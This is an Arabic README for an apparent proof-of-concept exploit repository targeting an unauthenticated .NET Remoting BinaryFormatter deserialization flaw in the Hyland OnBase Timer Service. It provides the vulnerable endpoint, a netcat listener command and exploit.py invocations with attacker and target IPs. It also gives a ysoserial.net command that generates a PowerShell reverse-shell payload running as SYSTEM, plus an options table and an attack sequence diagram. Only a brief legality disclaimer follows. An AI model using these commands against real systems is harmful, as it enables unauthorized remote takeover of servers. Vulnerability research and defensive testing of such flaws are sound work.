
إثبات مفهوم لاستغلال تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في خدمة المؤقت Hyland OnBase عبر إلغاء تسلسل BinaryFormatter في .NET Remoting، مع تحقيق صلاحيات SYSTEM.
يحتوي هذا المستودع على استغلال إثبات المفهوم (PoC) لثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها في خدمة مؤقت Hyland OnBase عبر إلغاء تسلسل غير آمن لـ .NET Remoting BinaryFormatter.
تسمح الثغرة لمهاجم غير مصادق بإرسال حمولة BinaryFormatter مصممة خصيصًا إلى نقطة نهاية خدمة المؤقت وتنفيذ أوامر عشوائية بصلاحيات NT AUTHORITY\SYSTEM.
تعرض خدمة المؤقت نقطة نهاية .NET Remoting:
http://TARGET:8900/TimerServiceAPI.rem
تقبل الخدمة كائنات BinaryFormatter غير مصادق عليها. من خلال توفير سلسلة أدوات خبيثة (ysoserial.net)، يحدث تنفيذ أوامر عشوائي أثناء إلغاء التسلسل.
تثبيت تبعية Python:
pip install requests
تنزيل ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
يطبع السكربت أمر ysoserial. قم بتشغيله في طرفية أخرى (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
اضغط ENTER في طرفية الاستغلال بعد توليد الحمولة.
إذا كان النظام عرضة للثغرة ← سيتم الاتصال بالصدفة العكسية.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| الخيار | الوصف |
|---|---|
| target | عنوان IP أو اسم المضيف الهدف |
| --port | منفذ خدمة المؤقت (الافتراضي 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | عنوان IP للمهاجم |
| --lport | منفذ المستمع |
| --gadget | سلسلة أدوات ysoserial |
الاستغلال أعمى
النجاح = استدعاء صدفة عكسية
تعمل الخدمة بصلاحيات SYSTEM
جرب سلسلة أدوات بديلة إذا تم الحظر:
sequenceDiagram
participant A as المهاجم
participant Y as ysoserial.net
participant T as خدمة مؤقت OnBase الهدف
participant S as صدفة SYSTEM
A->>A: تشغيل مستمع netcat
A->>Y: توليد حمولة BinaryFormatter
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: تنفيذ سلسلة الأدوات
S-->>A: اتصال الصدفة العكسية
يتم توفير هذا الاستغلال من أجل:
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها غير قانوني.